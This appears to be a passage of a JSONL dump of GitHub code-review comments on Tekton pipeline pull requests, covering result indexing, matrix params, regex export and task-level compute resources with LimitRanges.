"Yongxuanzhang", "body": "Oh thanks! That's much better! \ud83d\ude04 ", "comment_id": 887202624, "created_at": "2022-06-01T19:00:34Z", "line": null, "path": "examples/v1beta1/pipelineruns/alpha/pipelinerun-array-resluts-indexing.yaml", "pr_number": 4911, "repo": "pipeline"} +{"author": "lbernick", "body": "filename still needs to be fixed", "comment_id": 888105439, "created_at": "2022-06-02T15:45:12Z", "line": null, "path": "examples/v1beta1/pipelineruns/alpha/pipelinerun-array-resluts-indexing.yaml", "pr_number": 4911, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh sorry my bad!", "comment_id": 888198022, "created_at": "2022-06-02T17:15:28Z", "line": null, "path": "examples/v1beta1/pipelineruns/alpha/pipelinerun-array-resluts-indexing.yaml", "pr_number": 4911, "repo": "pipeline"} +{"author": "chuangw6", "body": "When the index part in bracket for array or the whole expression is invalid, or it's a reference to a string result, wouldn't it make more sense if we set the third return value to be `-1` to indicate it's not array or invalid value for index?", "comment_id": 893956061, "created_at": "2022-06-09T21:00:53Z", "line": 144, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4911, "repo": "pipeline"} +{"author": "ywluogg", "body": "```suggestion\r\nfunc mismatchedTypesResults(tr v1beta1.TaskRun, trs *v1beta1.TaskRunStatus, resolvedTaskSpec *v1beta1.TaskSpec) []string {\r\n```", "comment_id": 892603476, "created_at": "2022-06-08T16:34:30Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "ywluogg", "body": "```suggestion\r\n\t\t// When get the results, check if the type of result is the expected one\r\n```", "comment_id": 892625288, "created_at": "2022-06-08T16:49:52Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "ywluogg", "body": "I strongly suggest not to use this function here, as the naming would confuse readers. It worths considerring having a separate function for this, or rescoping `validateObjectKeys` into validateMapOfArrayOfStrings, which also seems super confusing. I'm leaning toward first option", "comment_id": 892642700, "created_at": "2022-06-08T17:01:47Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "thanks!", "comment_id": 892693377, "created_at": "2022-06-08T17:52:19Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "lbernick", "body": "the \"pod\" package doesn't seem like the best place for this functionality; it more likely belongs in the reconciler code.", "comment_id": 898074070, "created_at": "2022-06-15T14:43:26Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "lbernick", "body": "I think it would make more sense for this function to have only one task spec as the source of truth (and same for the function below it)", "comment_id": 898076630, "created_at": "2022-06-15T14:45:30Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "lbernick", "body": "what is type: 1 here?", "comment_id": 898078614, "created_at": "2022-06-15T14:47:03Z", "line": null, "path": "pkg/pod/status_test.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "lbernick", "body": "are there any test cases for successful matches?", "comment_id": 898080507, "created_at": "2022-06-15T14:48:36Z", "line": null, "path": "pkg/pod/status_test.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh okk, I did put them in the reconcile before but the tests seem very hard to add. \ud83d\ude22 . Will try again!", "comment_id": 898243099, "created_at": "2022-06-15T17:30:35Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "lbernick", "body": "Curious what is making adding tests challenging? I think there may be some opportunity here to create a package specifically for results or substitution or something like that", "comment_id": 898310941, "created_at": "2022-06-15T18:54:30Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Did you mean 1) put this code inside the `reconcile` function? Or 2) wrap them as a function and call this function inside the `reconcile`? For 1) the reconcile test code is pretty large, for 2) I think we can test this function separately without testing it from `reconcile`? ", "comment_id": 898352850, "created_at": "2022-06-15T19:50:17Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "lbernick", "body": "let's do 2, but the pod package isn't the right place for this IMO", "comment_id": 898354246, "created_at": "2022-06-15T19:52:15Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh ok, got it!", "comment_id": 898373166, "created_at": "2022-06-15T20:07:09Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "thanks! Just added ", "comment_id": 901941019, "created_at": "2022-06-20T18:57:44Z", "line": null, "path": "pkg/pod/status_test.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "code is refactored so this is removed", "comment_id": 901941188, "created_at": "2022-06-20T18:58:06Z", "line": null, "path": "pkg/pod/status_test.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "moved them to validate_resources.go", "comment_id": 901941370, "created_at": "2022-06-20T18:58:27Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "you mean merge them before calling these functions?", "comment_id": 901958343, "created_at": "2022-06-20T19:35:19Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "If so, I merged them into one results list ", "comment_id": 901966497, "created_at": "2022-06-20T19:53:07Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "ywluogg", "body": "From the discussion, did you mean you need to bypass the type validations here before applying the results? Can you add a TODO if so?", "comment_id": 903764636, "created_at": "2022-06-22T13:45:23Z", "line": 285, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh no this is not the validation we want to bypass, it is one already exists in code base", "comment_id": 903920068, "created_at": "2022-06-22T15:38:31Z", "line": 285, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "ywluogg", "body": "I see. I think the one validation you need to bypass in the validateTaskRunResults() in reconciler taskrun.go. You can close this thread", "comment_id": 907336755, "created_at": "2022-06-27T12:34:26Z", "line": 285, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "lbernick", "body": "no -- I think \"resolvedTaskSpec\" should be used as the source of truth for what the task spec is", "comment_id": 907718396, "created_at": "2022-06-27T19:17:20Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4920, "repo": "pipeline"} +{"author": "ywluogg", "body": "features", "comment_id": 898059733, "created_at": "2022-06-15T14:31:31Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_types.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "ywluogg", "body": "Array\r\n```suggestion\r\n\t// Array replacement e.g. : $(tasks.taskName.results.resultName[*]))\r\n```", "comment_id": 898060394, "created_at": "2022-06-15T14:32:02Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "lbernick", "body": "could you please update the commit message/PR description noting that this PR includes a breaking change to the Go libraries?", "comment_id": 898060848, "created_at": "2022-06-15T14:32:26Z", "line": 136, "path": "pkg/apis/pipeline/v1beta1/pipeline_types.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "ywluogg", "body": "```suggestion\r\n\t\t\t// e.g.: tasks.taskname.results.resultname.objectkey\r\n```", "comment_id": 898060956, "created_at": "2022-06-15T14:32:31Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "lbernick", "body": "since `ResultsType` already has its own docstring I'm wondering if you should remove the comment about what types are supported, since if the supported types change this comment will get out of sync? If you'd like to keep it in place, I'd suggest \"The possible types are 'string', 'array', and 'object', with 'string' as the default. 'array' and 'object' types are alpha features.\"", "comment_id": 898064498, "created_at": "2022-06-15T14:35:29Z", "line": 129, "path": "pkg/apis/pipeline/v1beta1/pipeline_types.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "lbernick", "body": "I'm wondering if we need to export this regex or if there is a parsing function it would make more sense to export", "comment_id": 898066406, "created_at": "2022-06-15T14:37:07Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "lbernick", "body": "this kind of functionality definitely seems like it would make sense in a separate package (\"substitution\"/\"replacement\"/\"params\" or something like that)", "comment_id": 898068798, "created_at": "2022-06-15T14:39:04Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "lbernick", "body": "a bit confused, this test case is described as \"multiple successful tasks\" but only one pipeline task is referenced", "comment_id": 898070840, "created_at": "2022-06-15T14:40:44Z", "line": 1657, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes sure! Thanks!", "comment_id": 898097976, "created_at": "2022-06-15T15:02:57Z", "line": 136, "path": "pkg/apis/pipeline/v1beta1/pipeline_types.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh got it, thanks! I checked `ParamType` and it also has comment for the `Type`. I will fix the comment as you suggested!", "comment_id": 898101333, "created_at": "2022-06-15T15:05:48Z", "line": 129, "path": "pkg/apis/pipeline/v1beta1/pipeline_types.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh that's a good point! Let me check if I can have a separate function for this", "comment_id": 898107351, "created_at": "2022-06-15T15:11:03Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh thanks! When adapting the existing test case I missed one pipeline task", "comment_id": 898111750, "created_at": "2022-06-15T15:14:58Z", "line": 1657, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "lbernick", "body": "could you please avoid exporting the regexes here?", "comment_id": 898353219, "created_at": "2022-06-15T19:50:46Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "lbernick", "body": "I don't think this comment was addressed", "comment_id": 898353368, "created_at": "2022-06-15T19:51:00Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I have moved this functionality into the function `ParseResultName` in `resultre.go`, or did you mean something else?", "comment_id": 901875156, "created_at": "2022-06-20T17:15:49Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "lbernick", "body": "LGTM!", "comment_id": 908543893, "created_at": "2022-06-28T14:19:51Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "it is not exported now", "comment_id": 911135989, "created_at": "2022-06-30T15:00:38Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "lbernick", "body": "can this be moved into a helper function somewhere? it would be good to have all our string parsing logic in one place.", "comment_id": 911220973, "created_at": "2022-06-30T16:19:20Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "lbernick", "body": "where is this variable being used?", "comment_id": 911221279, "created_at": "2022-06-30T16:19:42Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh thank you! I missed this one, it should be removed!", "comment_id": 911282230, "created_at": "2022-06-30T17:25:10Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure!", "comment_id": 911284765, "created_at": "2022-06-30T17:27:47Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4965, "repo": "pipeline"} +{"author": "afrittoli", "body": "Any change to the `TaskRef` in beta will impact `Runs` in alpha now.\r\nI guess that should be ok `Run` didn't have its own `TaskRef` definition before anyways.", "comment_id": 904210048, "created_at": "2022-06-22T20:43:14Z", "line": 50, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 5005, "repo": "pipeline"} +{"author": "afrittoli", "body": "Ditto", "comment_id": 904210219, "created_at": "2022-06-22T20:43:26Z", "line": 72, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 5005, "repo": "pipeline"} +{"author": "abayer", "body": "This was actually already the case - https://github.com/tektoncd/pipeline/blob/13a3c5d9612af58382b0fe31622ec0468f311d88/pkg/apis/pipeline/v1alpha1/pod.go#L8", "comment_id": 904215064, "created_at": "2022-06-22T20:49:58Z", "line": 72, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 5005, "repo": "pipeline"} +{"author": "abayer", "body": "Again, already the case: https://github.com/tektoncd/pipeline/blob/13a3c5d9612af58382b0fe31622ec0468f311d88/pkg/apis/pipeline/v1alpha1/pipeline_types.go#L226 =)", "comment_id": 904215567, "created_at": "2022-06-22T20:50:43Z", "line": 50, "path": "pkg/apis/pipeline/v1alpha1/run_types.go", "pr_number": 5005, "repo": "pipeline"} +{"author": "ywluogg", "body": "Matrix only exists in Pipeline, and the way it's being declared is that it's an array of params, so we didn't encounter such issue previously in TaskRuns, but we probably don't want to support dictionary in matrices. If we do, the users are able to declare matrix as an array of objects, which touches nested dictionaries, which we want to avoid from this release. Can you add a separate function for param replacements other than matrix, and probably rename this replaceParamValues function to something matrix specific?", "comment_id": 903761652, "created_at": "2022-06-22T13:42:56Z", "line": 119, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5007, "repo": "pipeline"} +{"author": "chuangw6", "body": "`matrix` doesn't support a list of array params before. That's why the original code passes empty map `map[string][]string{}` as the 2nd argument. Similarly, we don't support a list of object params for matrix so I passed the empty map `map[string]map[string]string{}` as the 3rd argument.\r\n\r\n`replaceParamValues` is a helper function to do all params related replacement. If we added another one specific for matrix, it would be duplicate with `replaceParamValues`.", "comment_id": 903809540, "created_at": "2022-06-22T14:18:42Z", "line": 119, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5007, "repo": "pipeline"} +{"author": "ywluogg", "body": "Ah I see! Can you add a note in release note that matrix wouldn't have dictionary type supported?", "comment_id": 903913557, "created_at": "2022-06-22T15:33:06Z", "line": 119, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5007, "repo": "pipeline"} +{"author": "ywluogg", "body": "Remove?", "comment_id": 903916636, "created_at": "2022-06-22T15:35:25Z", "line": 174, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5007, "repo": "pipeline"} +{"author": "dibyom", "body": "could you add a docstring describing what this regex captures like we have for `variableSubstituitonFormat` above", "comment_id": 904236057, "created_at": "2022-06-22T21:19:02Z", "line": 49, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 5007, "repo": "pipeline"} +{"author": "chuangw6", "body": "sure! Added!", "comment_id": 905420219, "created_at": "2022-06-23T20:18:20Z", "line": 49, "path": "pkg/apis/pipeline/v1beta1/resultref.go", "pr_number": 5007, "repo": "pipeline"} +{"author": "chuangw6", "body": "good catch! thanks!", "comment_id": 905420390, "created_at": "2022-06-23T20:18:33Z", "line": 174, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5007, "repo": "pipeline"} +{"author": "chuangw6", "body": "sure. added!", "comment_id": 905420537, "created_at": "2022-06-23T20:18:46Z", "line": 119, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5007, "repo": "pipeline"} +{"author": "dibyom", "body": "the comments are helpful :)", "comment_id": 908868943, "created_at": "2022-06-28T19:31:37Z", "line": 229, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 5007, "repo": "pipeline"} +{"author": "lbernick", "body": "LimitRanges are already applied [here](https://github.com/tektoncd/pipeline/blob/main/pkg/internal/computeresources/transformer.go), so we don't need to add anything to support them. We'll just need to test out (probably on a cluster) that these two features work as intended together. It would be nice to have unit tests for the interaction between limitranges and this feature but I'm not totally sure where the best place to put that is-- we might need to experiment and do a bit of refactoring.", "comment_id": 915905830, "created_at": "2022-07-07T13:56:19Z", "line": null, "path": "pkg/pod/pod.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "in the TEP i have the resources applied only to the first container, but I think it would actually be better to split them among the containers. The reason is that limitrange default requests are split among the containers. consider this example:\r\n\r\n2 steps\r\ntask level memory: 1Gi\r\nlimitrange default requests: 600Mi\r\n\r\nIf you split the task level resources between containers you'll have each container with 500Mi (which is what we want). If you just apply them to one container, the limitrange defaults will kick in for the container without resources and you'll have one container with 1Gi and one with 300Mi (not what we want). \r\n\r\nI'll update the TEP to clarify this.", "comment_id": 915994857, "created_at": "2022-07-07T15:15:14Z", "line": null, "path": "pkg/pod/pod.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "Keep in mind that if a container has limits but not requests, its requests will be automatically set to its limits, which is not what we want. see https://github.com/tektoncd/community/blob/main/teps/0104-tasklevel-resource-requirements.md#example-with-limits-only", "comment_id": 915996518, "created_at": "2022-07-07T15:16:52Z", "line": null, "path": "pkg/pod/pod_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "marked this on my todo list- will go thru a local test first with these 2 features", "comment_id": 916010289, "created_at": "2022-07-07T15:29:13Z", "line": null, "path": "pkg/pod/pod.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "I see this context. thanks Lee for this details! let me update.", "comment_id": 916012741, "created_at": "2022-07-07T15:31:40Z", "line": null, "path": "pkg/pod/pod.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "nice hint. think I need to dig a bit and try some cases to ensure it. ", "comment_id": 916029122, "created_at": "2022-07-07T15:47:51Z", "line": null, "path": "pkg/pod/pod_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "I don't think you need steptemplate here. Steps are merged with step template and overrides [here](https://github.com/tektoncd/pipeline/blob/3f539724f27a6add8b64d0712e056e4479750975/pkg/pod/pod.go#L136-L149)", "comment_id": 928894046, "created_at": "2022-07-25T13:36:59Z", "line": null, "path": "pkg/pod/pod.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "I think this is a mistake in the TEP :( \r\n\r\nHere, this says it's invalid: https://github.com/tektoncd/community/blob/main/teps/0104-tasklevel-resource-requirements.md#interaction-with-step-resource-requirements\r\n\r\nHowever this example uses it: https://github.com/tektoncd/community/blob/main/teps/0104-tasklevel-resource-requirements.md#example-with-steptemplate\r\n\r\nWould you be comfortable taking on a PR to the TEP fixing this mistake?", "comment_id": 928898627, "created_at": "2022-07-25T13:41:06Z", "line": null, "path": "pkg/pod/pod_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "I see. thanks this context!\r\nlet me clean it up.", "comment_id": 929025083, "created_at": "2022-07-25T15:34:28Z", "line": null, "path": "pkg/pod/pod.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "got this. think we still will be good for overwriting resource requirements from StepTemplate while validating/avoiding ones from Step? \r\n\r\nyap. I can do this. (will raise today)\r\n", "comment_id": 929030725, "created_at": "2022-07-25T15:40:01Z", "line": null, "path": "pkg/pod/pod_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "Awesome thank you! I think if you can't specify compute resources on a step and a taskrun, you also shouldn't be able to do it on a steptemplate and a taskrun.", "comment_id": 929032876, "created_at": "2022-07-25T15:42:08Z", "line": null, "path": "pkg/pod/pod_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "right! I got your whole point now - as stepTemplate is for step.. \r\nthanks Lee, will mark it invalid - raise TEP update PR - then update code", "comment_id": 929041117, "created_at": "2022-07-25T15:50:24Z", "line": null, "path": "pkg/pod/pod_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "raised update PR https://github.com/tektoncd/community/pull/763\r\n\r\nre-arranged validation in https://github.com/tektoncd/pipeline/pull/5054\r\nand removed the StepTemplate case for pod_test.go", "comment_id": 929215485, "created_at": "2022-07-25T19:15:03Z", "line": null, "path": "pkg/pod/pod_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "think some discussion will come to this line:\r\n\r\nmy current understanding as \r\n- if no limitranges, just stay as it is\r\n\r\n- if currentRequest < min (of limitrange), keep the min\r\n- if over the limit, set as the limit\r\n\r\nfor limits\r\n- similarly, but keep the min of currentLimit and limit from limitrange ", "comment_id": 935749263, "created_at": "2022-08-02T15:39:20Z", "line": null, "path": "pkg/internal/computeresources/transformer.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "these updates on previous testcases are to align with updated logics on \"setting requests/limits with limitranges\"", "comment_id": 935756491, "created_at": "2022-08-02T15:46:19Z", "line": null, "path": "pkg/internal/computeresources/transformer_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "This will need requests as well. The reason is that k8s will apply requests = limits if none are set, resulting in a pod with more resource requests than desired.\r\n\r\nIn the TEP, i have that we would set the resource requests to 0 (or as small as possible) in this case, but I'm starting to think a better option would be to set requests based on the limit / # of steps. This would be kind of similar to what k8s does, in that if you set a task-level limit but no task-level request, we'll set task-level request equal to task-level limit. WDYT? Not sure which behavior is less surprising. Also @vdemeester would love your input", "comment_id": 935756833, "created_at": "2022-08-02T15:46:37Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "StepTemplate isn't used in this test at all, so this test isn't testing what we want it to. At the point where `ApplyTaskLevelComputeResources` is called, the step template resource requests have already been applied to the input containers [here](https://github.com/tektoncd/pipeline/blob/e8ee8798a6758bd4bfdd41bb23ec63eff1fb7aec/pkg/pod/pod.go#L138). There are two options here:\r\n1. add a test case where the input steps already have resources on them, and make sure they don't make their way to the output. I don't love this solution because it relies on the behavior I linked to.\r\n2. Create an overall pod test with steptemplate resources and task level resources, and make sure the pod created has the right compute resources. This would be a more thorough test but harder to work with.\r\n\r\nI'll let you use your best judgment here but I'll also try to figure out if there's any refactoring I can try here.", "comment_id": 935796565, "created_at": "2022-08-02T16:26:50Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "Same comment as above; sidecars are ignored in `ApplyTaskLevelComputeResources` so they're not actually being tested here.", "comment_id": 935796996, "created_at": "2022-08-02T16:27:18Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "Was this a bug? Could you make this change in a separate PR?", "comment_id": 935799531, "created_at": "2022-08-02T16:30:04Z", "line": null, "path": "pkg/internal/computeresources/transformer_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "thanks for more thought on this point. \r\n\r\nI tend to take the \"request as the existing limit when only limit is configured\" way\r\n- think will align with current k8s behaviours - so ease user's understanding and usages\r\n- and \"0 / smallest as possible\" request could lead to a \"resource hungry\" case in the runtime, like the CPU requests acting as weights to acquire CPU time as https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/#how-pods-with-resource-limits-are-run ", "comment_id": 935956538, "created_at": "2022-08-02T19:33:35Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "ya. this testcase actually came from one of our previous threads\r\nhttps://github.com/tektoncd/pipeline/pull/4877#discussion_r899154954", "comment_id": 935961373, "created_at": "2022-08-02T19:40:19Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "sure. and saw your raised refact PR.\r\n\r\nthink good for me to keep \"updating pod\" logic in this PR while leaving the transformer and limitrange changes. ", "comment_id": 935965245, "created_at": "2022-08-02T19:44:56Z", "line": null, "path": "pkg/internal/computeresources/transformer_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "thanks this context. think good for me mark as a follow-up action.\r\nand will remove this case at this moment.", "comment_id": 935967227, "created_at": "2022-08-02T19:47:12Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "a follow-up PR I will apply on \"setting the requests and limits\" after this refact PR was merged. ", "comment_id": 935969418, "created_at": "2022-08-02T19:50:07Z", "line": null, "path": "pkg/internal/computeresources/transformer_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "raised here - https://github.com/tektoncd/pipeline/pull/5269", "comment_id": 937043017, "created_at": "2022-08-03T19:13:35Z", "line": null, "path": "pkg/internal/computeresources/transformer_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "closed - moved this testcase under pod_test.go", "comment_id": 937825959, "created_at": "2022-08-04T14:04:25Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "this looks great! could you also add a test for where the steps have resource requirements?", "comment_id": 940303487, "created_at": "2022-08-08T14:23:59Z", "line": 2086, "path": "pkg/pod/pod_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "\ud83d\udc4d could you please also check the container name? This will help us test that the sidecar is getting the right resource requirements, as opposed to the step containers", "comment_id": 940305394, "created_at": "2022-08-08T14:25:38Z", "line": null, "path": "pkg/pod/pod_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "Since the function being tested accepts a slice of steps, I think that's what should be in the test case. (I don't think it makes sense to use a TaskSpec that has other fields including sidecars, because this function doesn't accept task specs or sidecars in its input.", "comment_id": 940309297, "created_at": "2022-08-08T14:28:56Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n// ApplyTaskLevelComputeResources applies the task-level compute resource requirements to each Step\r\n```", "comment_id": 940310286, "created_at": "2022-08-08T14:29:48Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\nfunc TestApplyTaskLevelResourceRequirements(t *testing.T) {\r\n```", "comment_id": 940312557, "created_at": "2022-08-08T14:31:53Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "Good point that this could lead to a pod being more likely to be evicted. I'll update the TEP. in the meantime, I think you can go ahead with implementing this strategy.", "comment_id": 940314772, "created_at": "2022-08-08T14:33:51Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "https://github.com/tektoncd/community/pull/776", "comment_id": 940352804, "created_at": "2022-08-08T15:07:01Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "the tested function here we mean `builder.Build()` right? which needs a TaksRun and a TaskSepc", "comment_id": 940370026, "created_at": "2022-08-08T15:22:54Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "the `Build` function is the one we mentioned in last week to test as it covers logic related to steps, stepTemplate, sidecar to form the container configs to create the Pod. \r\n`verifyTaskLevelComputeResources` is the helper func which we need to verify if the result pod matches our expectation. ", "comment_id": 940374288, "created_at": "2022-08-08T15:26:46Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "It looks like this function is testing ApplyTaskLevelResourceRequirements not builder.Build", "comment_id": 940374899, "created_at": "2022-08-08T15:27:22Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "as above thread - think the tested func is `Build`", "comment_id": 940375179, "created_at": "2022-08-08T15:27:38Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "I think your approach in pod_test.go (where you're using the TaskSpec and calling builder.Build) is correct!", "comment_id": 940375794, "created_at": "2022-08-08T15:28:11Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "Unresolving this conversation, because while the tests in pod_test.go LGTM (the ones testing builder.Build), this test (in tasklevel_test.go) is testing the function `tasklevel.ApplyTaskLevelComputeResources`, which only takes steps and compute resources. Therefore, I think the test cases in this file should use steps and compute resources as their inputs, not task specs with other fields in addition.", "comment_id": 941470560, "created_at": "2022-08-09T15:14:13Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "Unresolving since I don't 